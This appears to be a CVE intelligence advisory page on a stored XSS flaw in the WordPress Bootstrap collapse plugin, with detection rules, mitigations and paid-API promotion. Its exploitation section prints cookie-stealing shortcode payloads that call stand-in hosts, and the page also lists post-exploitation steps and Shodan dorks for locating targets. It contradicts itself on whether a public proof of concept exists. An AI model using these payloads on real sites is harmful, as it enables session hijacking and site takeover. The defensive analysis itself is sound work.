☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Bootstrap logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-26551

CVE-2025-26551 Cross-Site Scripting in Bootstrap
📅 PUBLISHED: 2025-02-13 00:00 UTC 🔄 UPDATED: 2026-08-12 14:51 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: <0.01%
👁️
<0.01% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-26551 is a Stored Cross-Site Scripting (XSS) vulnerability in Bootstrap collapse, a WordPress plugin developed by sureshdsk, affecting all versions up to and including 1.0.4. The flaw arises from improper neutralization of user-supplied input during web page generation, allowing authenticated or unauthenticated attackers (depending on input vector) to inject persistent JavaScript payloads that execute in the browsers of any user viewing the affected page. With a CVSS score of 7.1 (High), successful exploitation enables session hijacking, credential theft, and arbitrary administrative actions — making this a credible supply-chain and website-compromise risk for enterprises that rely on this plugin for collapsible content on WordPress-based properties and internal portals.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

The vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). The NVD description specifies that it affects the Bootstrap collapse plugin (sureshdsk), a WordPress extension that renders collapsible UI elements using the Bootstrap framework. The affected component is the collapse functionality, which processes user-controlled attributes or shortcode parameters without proper sanitization or output encoding.

Vulnerability Mechanism:
The plugin uses shortcodes (e.g., [bootstrap_collapse ...]) to generate HTML <button> and <div> elements with data-toggle="collapse" and data-target attributes. When the plugin renders these attributes, it concatenates user input (such as id, title, or group parameters) directly into the HTML without escaping or validating it. An attacker who can supply input to these shortcode parameters — via a WordPress post, page, comment, or widget — can inject JavaScript payloads that are stored in the database and executed on subsequent page loads.

Attack Surface:

  • Input Vectors: WordPress posts/pages (if author/contributor access allowed), comments (if plugin renders shortcodes in comments), custom fields, or any other plugin/hook that passes user-controlled data into the collapse shortcode.
  • Affected Component: The bootstrap-collapse.php (or similar) file where shortcode attributes are processed and echoed into the HTML output.
  • Privilege Requirement: The CVSS vector (PR:N) indicates no privileges are required, meaning if the shortcode is exposed in a context where unauthenticated users can submit content (e.g., comments with shortcode support), the attack is fully unauthenticated. Conversely, if only authenticated contributors can add the shortcode to posts, the attack still succeeds against higher-privileged readers/admins viewing the page.

Code-Level Explanation (Likely Pattern):
The vulnerable code likely resembles the following pattern:

function bootstrap_collapse_shortcode($atts) {
    $atts = shortcode_atts(array('group' => ''), $atts);
    // DIRECT concatenation of user input into HTML attributes
    $output = '<div id="' . $atts['group'] . '" class="collapse">';
    $output .= '<button data-target="#' . $atts['group'] . '">Toggle</button>';
    return $output;
}

Because $atts['group'] is echoed without esc_attr() or wp_kses(), an attacker can submit group='" onmouseover="alert(document.cookie)', breaking out of the attribute context and injecting executable event handlers.


Exploitation Scenarios

Scenario: Unauthenticated Stored XSS via Comment Injection
Prerequisite: The site must have comment support enabled and the plugin's shortcode must be rendered in comment content. Many WordPress setups allow shortcodes in comments via do_shortcode() in the comment body filter.

  1. Reconnaissance: The attacker identifies a target WordPress site using the Bootstrap collapse plugin. This can be done via Shodan dorks (http.html:"bootstrap-collapse") or by inspecting page source for class="collapse" and data-toggle attributes. The attacker confirms the plugin version by checking for specific CSS/JS file names (e.g., /wp-content/plugins/bootstrap-collapse/assets/js/collapse.js).

  2. Weaponization & Trigger: The attacker crafts a malicious comment containing the shortcode payload. The payload exploits the unescaped group attribute:

    [bootstrap_collapse group='" autofocus onfocus="fetch(\'https://evil.com/steal?c=\'+document.cookie)']
    

    Alternatively, a more direct payload:

    [bootstrap_collapse group='"><script>new Image().src="https://attacker.com/?data="+document.cookie</script>']
    

    The attacker submits this as a comment. Because the plugin fails to sanitize, the shortcode is parsed and stored in the wp_comments table.

  3. Execution: When a site administrator or authenticated user views the page containing the comment, the shortcode renders the malicious HTML. The injected <script> tag (or inline event handler) executes in the victim's browser, sending the admin's session cookie to attacker.com.

  4. Post-Exploitation: With the admin session cookie, the attacker uses a session hijacking tool to impersonate the admin in the WordPress admin panel. The attacker can then:

    • Upload a malicious plugin or backdoor webshell.
    • Modify site content to serve malware or phishing pages.
    • Create new admin accounts for persistent access.
    • Extract the wp-config.php file to obtain database credentials and pivot to other infrastructure.

Scenario: Privileged Attacker Targeting Other Admins
In organizations where multiple users have author/contributor roles (e.g., marketing team), a lower-privileged account holder can inject the payload into a scheduled post. When a more privileged editor or site owner previews/approves the post, the payload fires, allowing privilege escalation and lateral movement within the CMS and connected systems (e.g., CRM, e-commerce).


Impact Assessment

CVSS Breakdown (Score: 7.1):

  • Availability (L): Partial — page content may be defaced or altered, and certain scripts may block rendering.
  • Integrity (L): Partial — injected scripts can modify page content, potentially leading to fake forms or malicious redirects; long-term persistence in stored XSS means every page view suffers.
  • Confidentiality (L): Partial — session cookies, CSRF tokens, and any data accessible in the DOM can be exfiltrated.
  • Scope (C): Changed — the injected script executes in the victim's browser, affecting resources beyond the vulnerable plugin's context (e.g., other open tabs, parent domain cookies if not HttpOnly).

Business Impact:

  • Website Defacement & Brand Damage: Malicious content can alter public-facing pages, eroding customer trust.
  • Account Takeover: Admin session theft leads to full WordPress compromise, potentially affecting partner portals, intranet pages, or customer-facing forms that rely on collapsible content.
  • Data Breach Risk: If the WordPress site is a front-end to an application (e.g., e-commerce), the XSS can be leveraged to steal PII, payment details (via injected keyloggers), or authentication tokens.
  • Blast Radius: Any WordPress installation using the plugin, regardless of whether the collapsible content is admin-only or public. Because the attack is stored, every visit to the affected page triggers the payload, increasing detection and lateral movement opportunities.

Detection Guidance

Sigma Rule

title: Stored XSS - Bootstrap Collapse Shortcode Injection
id: 04e9a5f2-3f20-4c1d-9f21-5a5e8f7b1e33
status: experimental
description: Detects potential Stored XSS attempts targeting the Bootstrap collapse plugin (CVE-2025-26551) via shortcode attributes.
logsource:
  category: webserver
  product: apache
  service: access
detection:
  selection_shortcode:
    cs-method: GET
    cs-uri-query|contains|all:
      - '[bootstrap_collapse'
      - 'onerror'
  selection_comment:
    cs-uri-query|contains|all:
      - 'wp-comments-post.php'
      - 'group='
  selection_payload:
    cs-uri-query|contains|any:
      - '<script>'
      - 'onfocus='
      - 'onmouseover='
      - 'javascript:'
  condition: (selection_shortcode and selection_payload) or (selection_comment and selection_payload)
level: high
falsepositives:
  - Legitimate admin content writers using exotic shortcode parameters (rare).
  - Security scanners actively probing for the CVE.
tags:
  - attack.t1190
  - attack.t1059.007
  - cve.2025-26551

YARA Rule

rule CVE_2025_26551_Bootstrap_Collapse_StoredXSS {
    meta:
        author = "ValtersIT Threat Intelligence"
        description = "Detects payloads targeting stored XSS in Bootstrap collapse plugin <= 1.0.4"
        date = "2025-04-09"
        reference = "CVE-2025-26551"
        score = 70
    strings:
        $shortcode = /\[bootstrap_collapse\s+[^\]]*(group|title|id)=/
        $js_event = /on(afterprint|beforeprint|beforeunload|error|hashchange|load|message|offline|online|pagehide|pageshow|popstate|resize|storage|unload|blur|change|click|contextmenu|focus|input|invalid|keydown|keypress|keyup|mouse|paste|reset|scroll|select|submit|wheel|pointer|cancel|close|toggle|auxclick|gotpointercapture|lostpointercapture|pointercancel|pointerdown|pointerenter|pointerleave|pointermove|pointerout|pointerover|pointerup|beforexrselect|animation|transition|drag|drop|copy|cut)/i
        $script_tag = /<script[\s>]/i
        $encoded_payload = /%(22|27|3C|3E|3B|28|29)/
    condition:
        uint16(0) == 0x0A0D or filesize < 100KB and
        $shortcode and ($js_event or $script_tag or $encoded_payload)
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-26551 - Stored XSS Bootstrap Collapse Shortcode Injection"; flow:to_server,established; content:"[bootstrap_collapse"; http_uri; nocase; pcre:"/\[bootstrap_collapse[^\]]*(group|title|id)=[\"'](?:[^\"']|\\\")*(?:<script|onerror|onfocus|onmouseover|javascript:)/i"; classtype:web-application-attack; reference:cve,2025-26551; sid:202526551; rev:1;)

Elastic Detection

sequence by source.ip with maxspan=30s
  [network where event.type == "start" and protocol == "http" and request.method == "POST" and url.path == "/wp-comments-post.php" and user_agent.original != null]
  [file where event.type == "change" and process.executable == "/usr/sbin/apache2" and file.path == "/var/www/html/wp-content/plugins/bootstrap-collapse/"* and file.name == "*.php"]

Alternative EQL for Web Application Logs (if Elastic APM / WebApp):

any where process.name == "php-fpm" and event.category == "process" and (
  process.args : "*[bootstrap_collapse*group*" or
  process.args : "*onmouseover*" or
  process.args : "*onerror*"
)

Splunk SPL Query

index=web sourcetype=access_combined
| where like(uri_path, "%/wp-comments-post.php%") OR like(uri_query, "%bootstrap_collapse%")
| regex uri_query="(group|title|id)=[^&]*(<script|onerror|onfocus|onmouseover|javascript:)"
| table _time, src_ip, uri_path, uri_query, user_agent, status
| sort - _time

For server-side logs (PHP error):

index=php_errors
| where like(message, "%bootstrap_collapse%") AND (like(message, "%<script%") OR like(message, "%on%="))
| stats count by host, message, _time

Wazuh OSSEC Rule

<group name="wordpress, cve-2025-26551,">
  <rule id="100265" level="12">
    <decoded_as>json</decoded_as>
    <field name="url">\.php</field>
    <match>wp-comments-post</match>
    <regex>\[bootstrap_collapse</regex>
    <regex>(onerror|onfocus|onmouseover|javascript:|&lt;script)</regex>
    <description>Stored XSS attempt against Bootstrap collapse plugin (CVE-2025-26551)</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>attack_persistence, attack_initial_access</group>
  </rule>
</group>

Note: Ensure Wazuh is ingesting Apache/Nginx access logs via JSON decoder or use decoded_as appropriate for your log format.


Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED) — A single source claims a patch exists for version 1.0.4, but this is not independently confirmed, and no official vendor advisory or security patch download page has been identified. Do not assume the plugin is safe until the vendor publishes an update and you have verified the changelog.

  1. Immediate Mitigations (Until Patched):

    • Disable the plugin: Navigate to /wp-admin/plugins.php and deactivate "Bootstrap collapse" if it is not business-critical. This is the only guaranteed way to eliminate the vulnerability.
    • If disabling is not possible: Remove do_shortcode() from comment processing to prevent unauthenticated injection. Add the following to functions.php:
      remove_filter('comment_text', 'do_shortcode');
      
    • Web Application Firewall (WAF): Deploy a WAF rule (e.g., Cloudflare WAF, ModSecurity) to block requests containing [bootstrap_collapse combined with script strings or event handler attributes in POST/GET parameters.
    • Content Security Policy (CSP): Implement a strict CSP header (default-src 'self'; script-src 'self') to mitigate impact if XSS executes — inline scripts will be blocked.
  2. Patch/Upgrade Steps:

    • Monitor the WordPress Plugin Directory and the vendor's profile (sureshdsk) for an updated version. Current affected: <= 1.0.4.
    • If version 1.0.5 or later is released, verify the changelog mentions output sanitization (e.g., use of esc_attr(), wp_kses_post()).
    • After upgrading, run a grep across the plugin files to confirm proper escaping:
      grep -r "esc_attr\|wp_kses\|htmlspecialchars" /wp-content/plugins/bootstrap-collapse/
      
    • Manually test the shortcode with payloads to confirm they are neutralized.
  3. Long-Term Hardening:

    • Harden WordPress input handling: Implement a security plugin (e.g., Wordfence, Sucuri) that adds virtual patching for known CVEs.
    • Regular Vulnerability Scanning: Include this plugin in your monthly vulnerability scan scope. Use wpscan --url https://yoursite.com --api-token <TOKEN> to detect outdated plugins.
    • Least Privilege: Restrict who can post comments or create posts with shortcodes. Disable shortcodes in comments globally.
    • Session Hardening: Set HttpOnly and Secure flags on session cookies to mitigate exfiltration, and enable SameSite=Strict.
    • Backup and Recovery: Maintain versioned backups so you can roll back to a safe state if the site is compromised.

References

  1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-26551 — Official CVE record with CVSS 7.1 vector and description.
  2. CWE-79 Reference: https://cwe.mitre.org/data/definitions/79.html — Weakness class: Improper Neutralization of Input During Web Page Generation.
  3. WordPress Plugin Directory: https://wordpress.org/plugins/bootstrap-collapse/ — Vendor page (sureshdsk); monitor for patched versions.
  4. MITRE ATT&CK T1190: https://attack.mitre.org/techniques/T1190/ — Exploit Public-Facing Application technique mapping.
  5. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — Confirmed CVE-2025-26551 is NOT on the KEV list as of this report.

Threat Actor Activity: No known active campaigns or exploit-in-the-wild evidence has been reported for this CVE as of the writing date. The POC_STATUS is None — no public exploit code or Nuclei template exists. However, due to the historical prevalence of WordPress plugin XSS vulnerabilities in automated mass-scanning campaigns (e.g., botnets targeting wp-comments-post.php), organizations should assume opportunistic exploitation is likely once public PoC or a patch diff becomes available.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"bootstrap-collapse"
http.title:"Bootstrap" http.html:"collapse"
http.html:"wp-content/plugins/bootstrap-collapse"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-26551/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.